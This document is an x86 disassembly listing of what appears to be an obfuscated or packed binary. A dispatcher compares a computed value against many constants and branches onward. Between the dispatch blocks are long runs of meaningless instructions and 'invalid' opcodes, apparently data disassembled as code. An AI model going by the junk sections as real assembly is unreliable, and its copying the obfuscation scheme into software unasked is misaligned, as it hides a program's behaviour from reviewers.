xor eax, 0x648d9
or eax, dword [ebp - 0x264]
je 0x67b5252f
mov edx, 0x648d9
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x67b536d2
mov eax, dword [ebp - 0x268]
xor eax, 0x5bfd8
or eax, dword [ebp - 0x264]
je 0x67b4f627
mov edx, 0x5bfd8
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x67b536d2
mov eax, dword [ebp - 0x268]
xor eax, 0xa4dd
or eax, dword [ebp - 0x264]
je 0x67b501e9
mov eax, dword [ebp - 0x268]
xor eax, 0x2b112
or eax, dword [ebp - 0x264]
je 0x67b530f1
jmp 0x67b536d2
push edx
mov bh, 0xe0
xchg esi, eax
les ecx, [ebx + 0x7e]
dec edx
sbb byte [ecx], 0x14
dec esi
salc
imul ebx, dword [edx - 0x30], 0xab71c7ce
cdq
xor dword [edx], 0x51
jmp 0x67b4f0dd
dec esi
inc esi
cwde
cmp byte [esi + ebx*8 - 0x719e4d26], ch
add al, 9
xchg edi, eax
jmp 0x9d727048
pop es
cwde
or eax, 0x6301d48f
movsb byte es:[edi], byte [esi]
aam 0x6a
mov cl, 0x38
push ebp
mov byte [edi], bh
adc ah, byte [ecx + edx*4 - 8]
outsd dx, dword [esi]
loop 0x67b4f678
pop eax
retf
sub al, 0x73
adc esi, dword [edx - 0x64ea518]
out 0xe3, al
in al, 0xd4
inc ebp
retf
jge 0x67b4fbb8
scasd eax, dword es:[edi]
or byte [ecx], 0x1d
xor byte [edx - 0x683dee8f], 0x84
out dx, al
adc byte [edx + 0x22f7c668], 0xc
sub eax, 0x43403d9a
ret
int3
popfd
mov dword [0x782ee4d7], eax
loop 0x67b4fbdb
adc al, 0xf6
and byte [ecx], cl
inc edi
pop eax
test byte [ebp + 0x32], 0xd1
scasd eax, dword es:[edi]
dec edx
and ah, byte [edi + 0x1da36230]
xor byte [ecx + 0x6332d0a6], 0x9a
inc edx
sub eax, 0xab38b047
xchg ebx, eax
mov byte [esi + 0x22f6d7c8], bh
stc
aas
or eax, 0x74357ce9
xchg esp, eax
pushal
cmp cl, byte [edi + 0x11c5c961]
mov eax, dword [0xf675d35]
dec eax
cmp al, 0xb5
inc ebp
mov dword [ebp + 0x2c], ecx
das
xchg edi, eax
cmp eax, ecx
test byte [esi + 0x28], ah
insd dword es:[edi], dx
mov esi, 0x7dec3e37
rcr byte [edx], 0xd7
inc esp
mov byte [ebp - 0x47], bh
jbe 0x67b4fc02
cli
xchg edx, eax
dec ecx
nop
int3
shr dword [esi], 1
inc ecx
rcl dword [eax], 0x59
pop ds
or ah, bh
lodsd eax, dword [esi]
dec esp
dec sp
sub cl, byte [ebx]
ret
dec ebx
sbb eax, 0xeefea51c
and eax, dword [esi + 0x24]
sbb ebp, dword [esi]
pop esi
mov ecx, 0x8a47af71
add al, 0xf3
mov dl, 0x90
mov eax, 0xc1634e90
leave
xor dword [edi + 0x48383222], ecx
mov dh, 0x93
lahf
mov dh, 0xdd
cmpsb byte [esi], byte es:[edi]
rol byte [edx], cl
jae 0x67b5019d
rcl ecx, 0x7e
xor ah, byte [edx]
sub dword [ebx + 0x3094dbb7], edx
aaa
pop ss
mov esp, 0x5589f56b
in al, dx
xchg esi, ebx
sub byte [0xc40ccafa], dl
dec ebx
adc eax, 0xb77a5924
sti
ret 0x56e1
outsd dx, dword [esi]
mov word [esp + ebx - 0x3e], ss
neg dword [edx - 0x7118b2e7]
cld
and byte [edx], dh
add dl, byte [ecx + 0x31]
clc
dec ebx
insd dword es:[edi], dx
add ecx, ebx
sal byte [edx - 0x16336f6b], 1
or dword [edi], ebp
add byte [eax], al
not dword [edx + 0x51]
jnp 0x67b507a9
fisub word [edi]
invalid
dec esi
das
invalid
pop esp
ret 0x9492
add dword [ebx], esp
mov cl, 0x1a
aam 0x24
push eax
and eax, dword [esi]
js 0x67b51312
popfd
pop esi
xchg esp, eax
jp 0x67b51283
mov ss, word [edi]
cdq
loope 0x67b512e0
bound edx, qword [esi]
inc esp
pop dword [esi - 0x27]
sub dword [edi - 0x4d71a41a], esi
adc ecx, esp
sbb ebp, dword [edi]
jns 0x67b5134b
fadd dword [edi]
retf 0xcb6d
or eax, 0xcdd5a90a
and al, byte [edx + 0x4b114136]
mov ebp, 0x901be08b
int3
inc edi
clc
sub byte [esi + 0x1f2cfcc5], bh
sub al, 0x1f
sti
ljmp 0x3cc5
dec ebx
test byte [edx], ch
jbe 0x67b513b5
or eax, 0xaf2df793
scasd eax, dword es:[edi]
and byte [eax + 0xb17dddb], bh
je 0x67b512ec
xor eax, 0x8d83549f
jg 0x67b51356
lahf
push esp
or dword [ebp - 0x7861881], 8
push 0x8d53cd4d
les esi, [ebp - 0x52f548a4]
mov dl, 0xe3
push ebp
imul ecx, ebx, 0xfffffffe
mov al, byte [0xe9cc9082]
inc edi
and eax, dword [eax]
add byte [eax + 0x1e4e8800], dh
jns 0x67b51369
or byte [eax + 0x4d], ch
int 0x53
invalid
mov al, 0
mov byte [esi + 0x1e], cl
mov edx, 0x3c24c3c1
pop ss
movsd dword es:[edi], dword [esi]
pop es
xor byte [ecx], dh
sub dword [edx - 0xa5ae279], 0xb87d7b2d
ja 0x67b5135f
loop 0x67b51345
cmp eax, 0x144ff1f8
getsec
test eax, 0xf5adda92
outsb dx, byte [esi]
push edx
int3
into
sbb al, 0x6c
mov bl, 0x21
movsb byte es:[edi], byte [esi]
mov ebp, 0x2f954c9b
cmp ch, dl
in eax, 0x10
leave
or eax, 0x37cf2d0a
std
mov fs, word [esi]
sbb bh, byte [ecx - 0x61b42d17]
sahf
jnp 0x67b51907
dec ebx
jg 0x67b5196f
cmp byte [esi], dl
pop ebx
invalid
inc ecx
pop ecx
jle 0x67b51924
das
outsd dx, dword [esi]
nop
invalid
ret
mov esi, 0x65c7c20b
push ecx
ret
mov dl, 0xa9
insd dword es:[edi], dx
pushfd
cmc
invalid
push ebp
in eax, dx
or ah, byte [ebx]
les edx, [eax - 0x15]
pop esi
sub al, 0xeb
movsd dword es:[edi], dword [esi]
and byte [ecx + 0x2e72cee1], bl
ja 0x67b52ac8
adc byte [eax], ch
inc edi
invalid
mov ah, 0xa
xchg ebx, edx
out dx, eax
and esp, eax
invalid
mov byte [0xdacfc252], al
add dl, byte [esi + 0x193b0736]
prefetcht2 byte [esi + 0x5a]
mov al, byte [0x2ba57dae]
push ss
add byte [edx - 0x3e], bl
inc edx
or dl, bh
or eax, 0x4344dd75
add cl, ah
and dword [ebx + 0x31e78e98], ebx
adc al, 0x6b
pop edx
scasb al, byte es:[edi]
sbb byte [ecx + 0x62], dh
stosd dword es:[edi], eax
or eax, dword [edi + 0xf587682]
out 0xe4, eax
nop
int3
iretd
push esi
push cs
popal
outsb dx, byte [esi]
dec eax
mov ah, 0x33
loope 0x67b530b1
xchg ebx, eax
cmpsb byte [esi], byte es:[edi]
aad 0xa9
mov byte [0x10346b93], al
sbb byte [esi + edx*2 + 0xbf2d4ef], 0xf8
jne 0x67b53099
mov esp, es
int 0xa8
xor byte [edi - 0x31], dh
jns 0x67b530b4
mov esi, 0x42968d18
cmc
push ebx
push esp
ljmp 0xef2
nop
jmp 0x67b536d3
nop
mov eax, dword [ebp + 8]
jmp 0x67b56ddd
mov dword [ebp - 0x240], 0x6ba02
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x248], 0x4479f
mov dword [ebp - 0x244], 0
mov eax, dword [ebp - 0x240]
mov edx, dword [ebp - 0x23c]
sub eax, dword [ebp - 0x248]
sbb edx, dword [ebp - 0x244]
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x24c], edx
mov eax, dword [ebp - 0x250]
xor eax, 0xd1d98
or eax, dword [ebp - 0x24c]
je 0x67b55653
mov edx, 0xd1d98
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x67b56dd4
mov eax, dword [ebp - 0x250]
xor eax, 0xbecc9
or eax, dword [ebp - 0x24c]
je 0x67b53ecf
mov edx, 0xbecc9
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x67b56dd4
mov eax, dword [ebp - 0x250]
xor eax, 0xb7ae3
or eax, dword [ebp - 0x24c]
je 0x67b54a91
mov edx, 0xb7ae3
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x67b56dd4
mov eax, dword [ebp - 0x250]
xor eax, 0x9f6bd
or eax, dword [ebp - 0x24c]
je 0x67b544b0
mov edx, 0x9f6bd
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x67b56dd4
mov eax, dword [ebp - 0x250]
xor eax, 0x82532
or eax, dword [ebp - 0x24c]
je 0x67b567f6
mov edx, 0x82532
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x67b56dd4
mov eax, dword [ebp - 0x250]
xor eax, 0x82515
or eax, dword [ebp - 0x24c]
je 0x67b56215
mov edx, 0x82515
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x67b56dd4
mov eax, dword [ebp - 0x250]
xor eax, 0x27263
or eax, dword [ebp - 0x24c]
je 0x67b56dd7
mov edx, 0x27263
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x67b56dd4
mov eax, dword [ebp - 0x250]
xor eax, 0x2511a
or eax, dword [ebp - 0x24c]
je 0x67b538ee
mov edx, 0x2511a
mov eax, 0
cmp edx, dword [ebp - 0x250]
sbb eax, dword [ebp - 0x24c]
jl 0x67b56dd4
mov eax, dword [ebp - 0x250]
xor eax, 0x36d6
or eax, dword [ebp - 0x24c]
je 0x67b55072
mov eax, dword [ebp - 0x250]
xor eax, 0x1df1c
or eax, dword [ebp - 0x24c]
je 0x67b55c34
jmp 0x67b56dd4
aad 0x91
push ecx
sbb al, 0xaf
in al, dx
sub cl, byte [ecx - 0xb1fdc05]
invalid
and dword [esi + 0x5ab896e0], eax
sbb edx, ebx
xor dword [ecx + 0x15], eax
mov ebx, ebx
or esp, dword [ebp - 0x2e7027a6]
jg 0x67b53e49
invalid
sbb dword [ebx + 0x607b7a0a], eax
xor esp, edi
xchg esi, eax
aaa
sub bh, dh
leave
stosd dword es:[edi], eax
mov ah, 0xf7
ret 0x8694
ljmp 0x4db6:0xccc4d19f
scasd eax, dword es:[edi]
mov ah, byte [bx + di]
dec ebx
in al, dx
or eax, 0x3981ab11
jb 0x67b53e27
ja 0x67b53e80
in al, dx
retf
das
mov esi, 0x7f20a88
pop es
nop
int3
and byte [ebp + 0x4c352a02], bl
mov ebx, 0x65ccfc33
inc eax
jb 0x67b53e88
cld
jg 0x67b53f07
test al, 0x1c
push ss
cmc
dec esp
inc eax
loop 0x67b53f30
jecxz 0x67b53f23
popfd
mov edx, 0x1e73b55f
outsb dx, byte [esi]
in al, 0x25
jmp 0x67b53ec6
rol byte [ebx + 0xb], 0x91
or eax, dword [esi + 0x4c]
xchg esi, eax
int 0xaf
jg 0x67b53f38
and eax, 0x48b63cde
fidivr word [esi + esi*4]
dec eax
xchg ebp, eax
or ecx, esp
mov dh, 0x56
lodsb al, byte [esi]
imul eax, dword [ebp + ebx*4 + 0x1c1a064f], 0x69
sbb al, 0x69
lds esp, [ebp + 0x1551c007]
and al, 0x3d
ja 0x67b53f47
ja 0x67b53f12
loope 0x67b53ec2
nop
int3
invalid
aam 0xd2
push edi
pop ss
push 0x61
cmp eax, 0xe6616356
aas
lodsb al, byte [esi]
movsd dword es:[edi], dword [esi]
invalid
insb byte es:[edi], dx
wait
imul edx, dword [esi + edi*2], 0x8ad345f6
mov esp, 0x9b225118
ljmp 0x959
inc eax
rcr byte [ebx - 0x39], cl
dec esp
mov bl, 0x7b
xlatb
mov ecx, 0x2ab9c572
add ah, byte [ebx + 8]
mov ah, 0x64
xlatb
shl dword [ecx - 0x13], 1
mov eax, 0x3f8bd0a3
push esi
cdq
push es
xor bl, byte [edx + 0x2b]
pop edi
setns byte [ebp + 0x6ca95c83]
inc ecx
mov esp, 0x98690ef2
jle 0x67b54b0c
lcall 0x5dbb, 0xa278676e
dec eax
pop esi
fld qword [eax - 0x7aaed7e1]
test dword [ebx + ebp*4 - 0x31], eax
imul esi, dword [eax], 0x109c5c3d
mov dword [0x36d54e1d], eax
ret
xchg edi, eax
lahf
xchg edi, eax
inc ebp
test eax, 0xf6788409
xor eax, 0xd1642ea6
cmpsb byte [esi], byte es:[edi]
mov ch, 0xad
invalid
xor byte [ebx - 0x78e1c270], dl
jmp 0x67b550e4
rcr dl, 1
xor eax, 0xa209c23
add bl, byte [ebp + 0x52]
mov word [edx - 0x1e], fs
xor edx, dword [esi]
mov eax, 0xc40a1cd3
push 0xffffffffffffffa4
ret
sbb byte [ebx + 0x10], 0x2d
pop ds
hlt
in eax, 0x29
imul esi, dword ds:[edi + 0x3a0d6c70], 0xa49c9140
pop esp
invalid
sub dl, 0x82
xchg byte [ebx + 2], bh
daa
xchg esi, eax
rcl byte [esi + 0x78421bb8], cl
retf 0x1cd0
fsub qword [ebx]
push eax
cmp ebp, dword [eax + 0x71]
imul ecx, dword [eax], 0xed53f59a
push ds
sub al, 0x1e
dec eax
insb byte es:[edi], dx
push ebx
jp 0x67b5680d
or al, 0xb5
in al, 0x6c
pop eax
xor byte [ecx], bl
dec ebp
push 0x14
retf
nop
jmp 0x67b56dd8
nop
mov eax, 0
mov ebx, dword [ebp - 4]
leave
ret